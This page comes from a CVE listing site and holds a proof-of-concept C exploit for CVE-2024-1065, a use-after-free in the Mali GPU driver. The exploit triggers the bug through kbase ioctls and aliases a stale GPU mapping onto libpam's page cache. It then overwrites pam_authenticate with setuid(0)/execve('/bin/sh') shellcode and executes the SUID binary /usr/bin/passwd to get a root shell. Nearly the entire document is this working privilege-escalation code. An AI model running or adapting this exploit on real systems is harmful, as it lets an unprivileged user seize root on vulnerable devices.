5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sched.h>
#include <sys/resource.h>
#include <errno.h>
#include <err.h>
#include <assert.h>
#include <stdint.h>
#include <ctype.h>

/* ─── Macros ─────────────────────────────────────────────────────────── */

#define SYSCHK(x) ({                        \
    typeof(x) __res = (x);                  \
    if (__res == (typeof(x))-1)             \
        err(1, "SYSCHK(" #x ")");           \
    __res;                                  \
})

#define LOCAL_PAGE_SHIFT             12
#define BASE_MEM_MAP_TRACKING_HANDLE (3ul << LOCAL_PAGE_SHIFT)
#define KBASE_IOCTL_TYPE             0x80
#define BASE_MEM_CACHED_CPU          (1 << 12)
#define BASE_MEM_COHERENT_SYSTEM_REQUIRED (1 << 15)

#define TARGET_BINARY   "/lib/x86_64-linux-gnu/libpam.so.0" /* library to corrupt        */
#define TRIGGER_BINARY  "/usr/bin/passwd"                   /* SUID binary to execve()   */
#define NUM_FDS         100
#define PAGE_OFFSET     0x3000  /* file offset of the page containing pam_authenticate() */
#define FUNC_OFFSET     0xbc0   /* intra-page offset of pam_authenticate()               */

/* ─── IOCTL structs ──────────────────────────────────────────────────── */

struct kbase_ioctl_version_check {
    __u16 major;
    __u16 minor;
};

#define KBASE_IOCTL_VERSION_CHECK \
    _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check)

struct kbase_ioctl_set_flags {
    __u32 create_flags;
};

#define KBASE_IOCTL_SET_FLAGS \
    _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags)

struct base_mem_import_user_buffer {
    __u64 ptr;
    __u64 length;
};

union kbase_ioctl_mem_import {
    struct {
        __u64 flags;
        __u64 phandle;
        __u32 type;
        __u32 padding;
    } in;
    struct {
        __u64 flags;
        __u64 gpu_va;
        __u64 va_pages;
    } out;
};

#define KBASE_IOCTL_MEM_IMPORT \
    _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import)

/* ─── Helpers ────────────────────────────────────────────────────────── */

static int setup_mali(void)
{
    struct kbase_ioctl_version_check vc        = { .major = 11, .minor = 11 };
    struct kbase_ioctl_set_flags     set_flags = { .create_flags = 0 };

    int mali_fd = SYSCHK(open("/dev/mali0", O_RDWR));
    SYSCHK(ioctl(mali_fd, KBASE_IOCTL_VERSION_CHECK, &vc));
    SYSCHK(ioctl(mali_fd, KBASE_IOCTL_SET_FLAGS, &set_flags));
    SYSCHK(mmap(NULL, 0x1000, PROT_NONE, MAP_SHARED, mali_fd,
                BASE_MEM_MAP_TRACKING_HANDLE));

    return mali_fd;
}

static void hexdump(void *_data, size_t byte_count)
{
    printf("hexdump(%p, 0x%lx)\n", _data, (unsigned long)byte_count);

    for (unsigned long off = 0; off < byte_count; off += 16) {
        unsigned char *bytes    = (unsigned char *)_data + off;
        unsigned long  n        = (byte_count - off > 16) ? 16 : (byte_count - off);
        char           line[1000];
        char          *p        = line;

        p += sprintf(p, "%08lx  ", off);

        for (int i = 0; i < 16; i++) {
            if (i >= (int)n)
                p += sprintf(p, "   ");
            else
                p += sprintf(p, "%02hhx ", bytes[i]);
        }

        p += sprintf(p, " |");

        for (int i = 0; i < (int)n; i++) {
            if (isalnum(bytes[i]) || ispunct(bytes[i]) || bytes[i] == ' ')
                *(p++) = bytes[i];
            else
                *(p++) = '.';
        }

        p += sprintf(p, "|");
        puts(line);
    }
}

/* ─── Main ───────────────────────────────────────────────────────────── */

int main(void)
{
    /* ── CPU affinity ──────────────────────────────────────────────── */
    int cpu = sched_getcpu();
    if (cpu < 0) {
        perror("sched_getcpu");
        exit(EXIT_FAILURE);
    }

    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    if (sched_setaffinity(0, sizeof(set), &set) < 0) {
        perror("sched_setaffinity");
        exit(EXIT_FAILURE);
    }

    /* ── Open target library NUM_FDS times ─────────────────────────── */
    int fds[NUM_FDS];
    for (int i = 0; i < NUM_FDS; i++) {
        fds[i] = open(TARGET_BINARY, O_RDONLY);
        if (fds[i] < 0) {
            perror("open target library");
            exit(EXIT_FAILURE);
        }
    }
    printf("[*] Opened %s x%d\n", TARGET_BINARY, NUM_FDS);
    fflush(stdout);

    /* ── Trigger UAF (CVE-2024-1065) ───────────────────────────────── */
    int mali_fd = setup_mali();

    char *anon_mapping = SYSCHK(mmap(NULL, 0x1000,
                                     PROT_READ | PROT_WRITE,
                                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
    *(volatile char *)anon_mapping = 1;  /* fault page into RAM */

    struct base_mem_import_user_buffer ubuf = {
        .ptr    = (unsigned long)anon_mapping,
        .length = 0x1000,
    };

    union kbase_ioctl_mem_import mi = {
        .in = {
            .flags   = 0xf | BASE_MEM_CACHED_CPU
                           | BASE_MEM_COHERENT_SYSTEM_REQUIRED,
            .phandle = (unsigned long)&ubuf,
            .type    = 3,  /* BASE_MEM_IMPORT_TYPE_USER_BUFFER */
        },
    };

    SYSCHK(ioctl(mali_fd, KBASE_IOCTL_MEM_IMPORT, &mi));
    printf("[*] MEM_IMPORT: flags=0x%lx  gpu_va=0x%lx  va_pages=0x%lx\n",
           (unsigned long)mi.out.flags,
           (unsigned long)mi.out.gpu_va,
           (unsigned long)mi.out.va_pages);
    assert(mi.out.flags & (1 << 14));  /* BASE_MEM_NEED_MMAP */

    /* First host mapping — GPU_MAPPED state */
    void *gpu_mapping = SYSCHK(mmap(NULL, 0x1000,
                                    PROT_READ | PROT_WRITE,
                                    MAP_SHARED, mali_fd, mi.out.gpu_va));
    printf("[*] gpu_mapping  (VA 1): %p\n", gpu_mapping);

    /* Second host mapping — same physical page, becomes stale after munmap */
    char *cpu_mapping2 = SYSCHK(mmap(NULL, 0x1000,
                                     PROT_READ | PROT_WRITE,
                                     MAP_SHARED, mali_fd, (off_t)gpu_mapping));
    printf("[*] cpu_mapping2 (VA 2): %p\n", cpu_mapping2);
    (void)*(volatile char *)cpu_mapping2;  /* populate PTEs before munmap */

    munmap(gpu_mapping, 0x1000);
    munmap(anon_mapping, 0x1000);
    printf("[*] UAF triggered — stale mapping alive at %p\n", cpu_mapping2);
    fflush(stdout);

    /* ── Spray: evict → race → confirm ─────────────────────────────── */
    printf("[*] Spraying page cache (%d attempts)...\n", NUM_FDS);
    fflush(stdout);

    char buf[4096];
    int confirmed = 0;

    for (int i = 0; i < NUM_FDS && !confirmed; i++) {
        posix_fadvise(fds[i], PAGE_OFFSET, 4096, POSIX_FADV_DONTNEED);
        pread(fds[i], buf, 4096, PAGE_OFFSET);

        /* 0x00 = uninitialised, 0x61 = stale spray, 0xaa = page poison (CONFIG_PAGE_POISONING) */
        unsigned char probe = ((unsigned char *)cpu_mapping2)[FUNC_OFFSET];
        if (probe != 0x00 && probe != 0x61 && probe != 0xaa) {
            printf("[+] Overlap confirmed on attempt %d (byte=0x%02x) — "
                   "cpu_mapping2 aliases the page cache!\n", i + 1, probe);
            confirmed = 1;
        }
    }

    if (!confirmed) {
        fprintf(stderr, "[-] Failed to land on the page cache "
                        "after %d attempts.\n", NUM_FDS);
        exit(EXIT_FAILURE);
    }

    /* ── Inject shellcode ───────────────────────────────────────────── */
    unsigned char shellcode[] = {
        /* setuid(0) — syscall 105 */
        0x48, 0x31, 0xff,               /* xor  rdi, rdi          */
        0xb8, 0x69, 0x00, 0x00, 0x00,   /* mov  eax, 105          */
        0x0f, 0x05,                      /* syscall                */

        /* setgid(0) — syscall 106 */
        0x48, 0x31, 0xff,               /* xor  rdi, rdi          */
        0xb8, 0x6a, 0x00, 0x00, 0x00,   /* mov  eax, 106          */
        0x0f, 0x05,                      /* syscall                */

        /* execve("/bin/sh", NULL, NULL) — syscall 59 */
        0x48, 0x31, 0xd2,               /* xor  rdx, rdx          */
        0x48, 0xbb,                      /* mov  rbx, ...          */
        0x2f, 0x62, 0x69, 0x6e,         /*   "/bin"               */
        0x2f, 0x73, 0x68, 0x00,         /*   "/sh\0"              */
        0x53,                            /* push rbx               */
        0x48, 0x89, 0xe7,               /* mov  rdi, rsp          */
        0x48, 0x31, 0xf6,               /* xor  rsi, rsi          */
        0xb8, 0x3b, 0x00, 0x00, 0x00,   /* mov  eax, 59           */
        0x0f, 0x05,                      /* syscall                */
    };

    memcpy(cpu_mapping2 + FUNC_OFFSET, shellcode, sizeof(shellcode));
    printf("[*] Shellcode written to %s page cache.\n", TARGET_BINARY);
    printf("[*] Triggering via %s...\n", TRIGGER_BINARY);
    fflush(stdout);

    /* ── Execute ────────────────────────────────────────────────────── */
    char *args[] = { TRIGGER_BINARY, NULL };
    char *env[]  = { NULL };
    execve(TRIGGER_BINARY, args, env);

    perror("execve");
    return 1;
}